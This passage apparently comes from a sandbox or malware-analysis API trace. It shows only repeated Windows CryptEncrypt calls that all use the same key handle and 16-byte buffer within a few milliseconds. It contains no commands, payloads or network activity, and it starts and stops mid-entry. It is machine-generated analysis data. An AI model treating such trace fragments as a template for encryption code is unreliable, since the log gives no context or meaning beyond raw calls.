dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.869] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.870] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.871] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.872] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.873] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 